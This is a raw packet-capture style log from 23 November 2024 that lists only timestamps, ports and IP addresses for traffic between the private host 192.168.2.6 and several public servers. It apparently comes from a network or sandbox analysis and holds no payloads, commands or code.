Nov 23, 2024 05:02:21.190615892 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.190690994 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.190810919 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.190845013 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.190871954 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.190903902 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.193666935 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.193713903 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.193789959 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.193959951 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.193974972 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.250991106 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:21.251068115 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:21.252717972 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:21.333571911 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.333664894 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.333738089 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.334048033 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.334064007 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.334116936 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.334125042 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.338047028 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.338129997 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.338257074 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.338444948 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.338476896 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.350563049 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.350753069 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.350884914 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.350999117 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.351025105 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.351063967 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.351077080 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.354757071 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.354794025 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.354896069 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.355087996 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.355113029 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.372317076 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:21.403450012 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.403687954 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.403753996 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.403805971 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.403832912 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.403846025 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.403852940 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.408754110 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.408798933 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.408911943 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.409111023 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:21.409125090 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:21.701335907 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:21.701386929 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:21.701437950 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:21.701437950 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:21.706032991 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:21.825581074 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.074157953 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:22.074255943 CET	443	49730	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:22.074390888 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:22.075233936 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:22.075268984 CET	443	49730	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:22.156974077 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.157006025 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.157022953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.157130003 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:22.157130003 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:22.157143116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.157159090 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.157176018 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.157200098 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:22.157234907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:22.159687996 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:22.279216051 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.607796907 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.607861996 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:22.632632017 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:22.632708073 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:22.752398014 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.752423048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.752438068 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.752454042 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.752484083 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.752497911 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:22.829591036 CET	443	49707	173.222.162.64	192.168.2.6
Nov 23, 2024 05:02:22.829679966 CET	49707	443	192.168.2.6	173.222.162.64
Nov 23, 2024 05:02:22.974653006 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:22.975517035 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:22.975534916 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:22.976073980 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:22.976080894 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:22.993850946 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:22.994488001 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:22.994544029 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:22.994987965 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:22.995006084 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.070255995 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.070934057 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.070947886 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.071423054 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.071429014 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.181818008 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.182307959 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.182378054 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.182758093 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.182782888 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.190856934 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.191215992 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.191237926 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.191611052 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.191616058 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.418982983 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.419056892 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.419107914 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.446233988 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.446326971 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.446423054 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.506324053 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.506357908 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.506371021 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.506378889 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.510277987 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.510433912 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.510504007 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.514744997 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.514744997 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.514790058 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.514816046 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.526686907 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.526686907 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.526706934 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.526726961 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.606308937 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:23.606434107 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:23.634207964 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.634295940 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.634361982 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.635796070 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.635874987 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.635926008 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.774676085 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.774719000 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.774734020 CET	49729	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.774739981 CET	443	49729	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.776199102 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.776199102 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.776238918 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.776252031 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.789975882 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.790016890 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.790087938 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.791553974 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.791570902 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.792431116 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.792489052 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.792546034 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.792669058 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.792680025 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.793962002 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.794013023 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.794066906 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.794482946 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.794492960 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.794550896 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.795098066 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.795104980 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.795154095 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.795841932 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.795855999 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.796082020 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.796092987 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:23.796227932 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:23.796235085 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:24.076600075 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.196068048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.522599936 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.522615910 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.522713900 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.524923086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.525027037 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.525032043 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.525140047 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.533354998 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.533416986 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.533449888 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.533557892 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.538811922 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.538882017 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.538921118 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.538975954 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.547236919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.547347069 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.547373056 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.547404051 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.555660963 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.555740118 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.555746078 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.555784941 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.558865070 CET	443	49730	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:24.558968067 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:24.561583042 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:24.561625004 CET	443	49730	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:24.562407017 CET	443	49730	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:24.564063072 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:24.564136028 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.564179897 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:24.564192057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.564197063 CET	443	49730	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:24.564326048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.564377069 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.564431906 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:24.572530031 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.572598934 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.572623968 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.572746038 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.607376099 CET	443	49730	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:24.647716045 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.647818089 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.647828102 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.647882938 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.651926041 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.651984930 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.652023077 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.652087927 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.660365105 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.660419941 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.660451889 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.660502911 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.723753929 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.723810911 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.723820925 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.723885059 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.727366924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.727440119 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.728753090 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.728801012 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.728915930 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.728990078 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.736170053 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.736247063 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.736280918 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.736330986 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.743602037 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.743688107 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.743721962 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.743792057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.751039028 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.751106024 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.751185894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.751249075 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.758481979 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.758532047 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.758586884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.758637905 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.765866041 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.765942097 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.765969038 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.766026974 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.773296118 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.773371935 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.773397923 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.773493052 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.780721903 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.780802011 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.780838013 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.780888081 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.788126945 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.788247108 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.788261890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.788300037 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.793706894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.793798923 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.793936014 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.793991089 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.799007893 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.799087048 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.799094915 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.799144983 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.804225922 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.804286957 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.804331064 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.804390907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.809587002 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.809638023 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.809818983 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.814764977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.814831018 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.848814964 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.848925114 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.848948002 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.848988056 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.851468086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.851651907 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.851686954 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.851712942 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.856719017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.856787920 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.856823921 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.857028008 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.861795902 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.861809015 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.861862898 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.867022038 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.867106915 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.867116928 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.867192984 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.872286081 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.872344971 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.872381926 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.872442961 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.925035000 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.925139904 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.925146103 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.925214052 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.926915884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.926973104 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.927067995 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.927134991 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.930613995 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.930697918 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.932023048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.932073116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.932082891 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.932145119 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.935708046 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.935767889 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.935812950 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.935883045 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.939434052 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.939506054 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.939532995 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.939598083 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.943048954 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.943142891 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.943190098 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.943190098 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.946647882 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.946698904 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.946748018 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.946798086 CET	49724	80	192.168.2.6	185.215.113.206
